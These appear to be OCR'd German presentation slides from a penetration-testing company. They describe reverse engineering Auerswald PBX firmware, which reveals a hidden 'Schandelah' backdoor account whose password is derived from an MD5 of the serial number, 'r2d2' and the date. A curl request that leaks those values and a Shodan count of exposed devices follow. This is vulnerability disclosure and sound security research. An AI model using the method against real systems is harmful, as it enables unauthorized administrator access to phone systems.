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Unser Alltag

Das tun, was man normalerweise nicht darf! Fast alles ist erlaubt!
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Beispiel: Netzwerk-Penetrationstest

* Telefonanlage von Auerswald (COMpact 5500R) gefunden
* Bietet Passwort-Vergessen-Funktion

* Normaler Weg: Kunde kontaktiert Hersteller, bekommt Passwort




;—/\% RedTeam

Pentesting

Erste Schritte

* Firmware heruntergeladen

* Entpackt, basiert auf Linux

* Programm webserver gefunden
* = Ghidra
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Ghidra - Strings

[=1E3

1ed Strings - 5 items (of 16278)

Location b.| String Value String Representation Data Type

002el000 sub-admin "sub-admin” ds

002eldcO Das Passwort dieses Teil... "Das Passwort dieses Tei... ds

002e5744 Sub-Admin "Sub-Admin” ds

002ecd78 Sub-Administrator "Sub-Administrator" ds

002f1078 Die Passw&oumlirter folg... "Die Passw&oumlirter fol... ds

Filter: | sub-admin| ® | = -
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Ghidra - Vergleich Admin-Benutzer

evel - (webserver)

548 AB_0001568c:

550 puvard = (undefined4 *}strcmp((char *)username, "sub-admin");
551 if {puvard == (undefined4 *)ox0) {

552 ncal_She = 0;

553 puVard;

554 ocal_Sed = {undefinedd *)

555 FUN_0O1b4444 (param_1[2],&local_Scd,&local_She, "WHERE isSubAdmin=1");
556 1_5e0 == {undefinedd4 *)ox0) {

557 r4 = (undefined4 *)(uint)local_She;

558 Vard == {undefinedd4 #*)ox0) {

559 ec = local_Scé;

560 :

561

562

563 local_Sec = local_Scé;

-
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Ghidra - Vergleich ,,Schandelah*?

evel - (webserver)

S04 puVard = 1nput_pas
505LAB_00015930:

506 if ({uvarg & (uint)local_sfa
S07|LAB_00015340:

== 0) goto LAB 0001593c;

508 ivarlo = stremp(({char *)uskrnane, "Schandelah");

508 if (ivarlo == 0) {

510 gen_password (0, &jenerated_password);

511 1f (input_password == (undefined4 *)ox0) {

512 ivarl FUN_0O0L21888 (*param_1,param_1 + Gx10);

513 if (ivarlo != 0) goto LAB 00G15ea8:

514 }

515 else {

516 ivarlo = stremp{{char *)input_password, (char *)&generated_password);

LAB 00015eas:

- v
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W Schandelah - Wikipedia x + v
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Lo
WIKIPEDIA

Die freie Enzyklopadie

Hauptseite
Themenportale
Zufalliger Artikel

Mitmachen

Artikel verbessern
Neuen Artikel anlegen
Autorenportal

Hilfe

Letzte Anderungen

@ de.wikipedia.org/wiki/Schandelah

® < % » 0 H

& Nicht angemeldet Diskussionsseite Beitrige Benutzerkonto erstellen Anmelden

Wikipedia durchsuchen Q

Artikel Quelltext bearbeiten

Schandelah

Schandelah ist ein Dorf in Niedersachsen, 15 km ostlich von

Diskussion Lesen Bearbeiten Versionsgeschichte

Koordinaten: 52° 15' 56" N, 10° 41' 15" Q| '\ 7

Schandelah

Braunschweig gelegen. Schandelah gehért zur Gemeinde Cremlingen im Gemeinde Cremlingen

Landkreis Wolfenbittel und hat tiber 2000 Einwohner, einen Bahnhof,
einen Kindergarten, eine Grundschule und einen Sportverein. gd >
™

-
)y

101 m

Inhaltsverzeichnis [Verbergen]
1 Geographie

1.1 Geopunkt Jurameer Schandelah
2 Geschichte
3 Politik

3.1 Or Eind

Hohe:

Einwohner: 2277 (31. Dez. 2017)[ 1
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Wirtschaft und Infrastruktur [ Bearbeiten | Quelltext bearbeiten ]

Unternehmen [ Bearbeiten | Quelltext bearbeiten

Die Firma Auerswald GmbH & Co. KG, ein Hersteller von

Telekommunikationsanlagen, unterhalt am Ort eine Produktionsstatte.
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Ghidra - Benutzer ,,Schandelah*

evel - (webserver)

S04 puVard = 1nput_pas
505LAB_00015930:

506 if ({uvarg & (uint)local_sfa
S07|LAB_00015340:

== 0) goto LAB 0001593c;

508 ivarlo = stremp(({char *)uskrnane, "Schandelah");

508 if (ivarlo == 0) {

510 gen_password (0, &jenerated_password);

511 1f (input_password == (undefined4 *)ox0) {

512 ivarl FUN_0O0L21888 (*param_1,param_1 + Gx10);

513 if (ivarlo != 0) goto LAB 00G15ea8:

514 }

515 else {

516 ivarlo = stremp{{char *)input_password, (char *)&generated_password);

LAB 00015eas:

- v
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Ghidra - Passwort

word - (webserver)

/* WARNING: Removing unreachable block (ram,0x00287acd4) */
void gen_password(char *pbx_snr,char *dest)

{
gen_password2(pbx_snr,0,0,dest);
return;

+

HiD o= ;U & WM

(=]
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Ghidra - Passwort #2

,iumpile: gen_p ord2 - (webserver) %0 (& s x
1

2 \vold gen_password2(char *pbx_snr,int include_lang,uint lang_index,char *dest)

=|

4 {

58| locs 0;

38| local 0;

60| lang =

61 if (pbx_snr == (char *)0x0) {

62 pbi_snr = (char *)&local_s84;

63 auer_getPbxSerialMumber (phx_snr,0x21);
64| }

74| date_string = current_date_as_string(&local_3c,0x10);

73 __snprintf_chk(&local_c4, 0x40,1, Ox40, "%s%s%s%s”, pbx_snr, "r2d2",date_string, &lang);
76| func_3518(&local_c4, &l
77| auer_strncpy(dest,&loc
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Ghidra - Mysteriose Funktion

’impile: func_3518 - (webserver) S0 | dle x

voild func_3518(char *data_src,char *data_dest)

{

size_t dats len;
undefined4
undefined4

undefined4 1-:--::11:

W~ 3w

32 __stack_chk_guard;
33 Oxefcdabsg;

34 = OxE7452301;

35 Ox98badcfe;

36 0x10325476;

37 c_len = strlen(data_src);

38| mdS_update(&local_o94,data_src
38 ndS_finalize(&local 3c,&local ¢
40| *data_dest = "0123456789abcdef" [loc
41| data_dest[l] = "012345678%bcdef"[
42| data_dest[2] = "0123456789%abcdef" [
43| data_dest[3] = "0123456789%abcdef"[
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G Oxefcdabsd - Google Search X | =+

v
< C (0 & googlecom/search?q=Oxefcdab898&0q=0xefcdab89&ags=chrome..69i57.479j0j7&sourc... < ¥ ® O :
Go gle Oxefcdab8o X & @ Q 0
Q All () Images [*] Videos {? Shopping @ Maps : More Tools

About 11.600 results (0,31 seconds)

https://stackoverflow.com » questions » question-on-md...

question on MD5 state variables - Stack Overflow
13 Nov 2009 — | found out that there are four state variables (| am not sure what that means).
Those variables are 0x67452301 , 0xEFCDAB89, 0x98BADCFE, and ...
1 answer - Top answer: See RFC 1321, section 3.3: 3.3 Step 3. Initialize MD Buffer A four-wor...
Implementation of MD5 in Python - Stack Overflow 28 Feb 2020
SHA-1 in C on little-endian environment - Stack Overflow 23 Nov 2018
Significance of Hex numbers specified in RFC 3174 (SHA-1) 9 Nov 2011
i ift - 12 Jap 2016
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Ghidra - Passwort #2

,iumpile: gen_password2 - (webserver) % o v X
60| lang = 0O; i
Bl if (pbx_snr == (char *)ox0) { r
62 pbx_snr = (char *)&local_g4;

63 auer_getPbxSerialhumber(pbx_snr,0x21);

64 }

685 if (include_lang != 0} {

66 if (lang_index = 0x12) {

67 __strepy_chk(&lang, (&language_table) [lang_index],8);

68 }

69

70

71

72

73| }

74| date_string = current_date_as_string(&local_3c,0x10);

75| __snprintf_chk(&local_c4,0x40,1, 0x40, "%s%s%s%s", pbx_snr, "r2d2", date_string, &lang);

76| mdS_as_nexstring(&local_c4,&local_60);

77| auer_strncpy(dest,&local 60,8); T
78| if (local_24 == __stack_chk_guard) {

79 return;

80 1}

81 /% WARNING: Subroutine does not return */

o F PP N P P W |
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Passwort fiir Benutzer Schandelah ausrechnen:
1. MD5(Seriennummer + r2d2 + Datum)
2. Davon die ersten 7 Zeichen

Problem: Wie bekommt man Seriennummer und Datum?




'—/\% RedTeam

& Pentesting

Einfach das Gerat fragen:

$ curl --include https://192.168.1.2/about_state
HTTP/1.1 200 OK
Content -Type: application/json; charset=utf-8;

[...]
{
"pbx": "COMpact 5500R",
"pbxType": 35,
"pbxId": O,
"version": "Version 7.8A - Build 002 ",
"serial": "1234123412",
"date": "30.08.2021",
[...]
}
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hnp,lit\e:"Auerswald" product:"lighttpd™ n

ShOdan Re [J Ol't http.title:"Auerswald" preduct:"lighttpd" TOtal: 1'667

4 GENERAL
@ Countries
Germany 1615
Austria 24
» Luxembourg ]
Netherlands 7
Balgium 5
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* Schwachstelle durch Auerswald in vier Wochen behoben

* Im Gegensatz zu anderen groBen Herstellern
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INTERESSIERT?
WERDE EINE*R VON UNS!

https://jobs.redteam-pentesting.de

RedTeam Pentesting GmbH
Alter Posthof 1

52062 Aachen

Deutschland




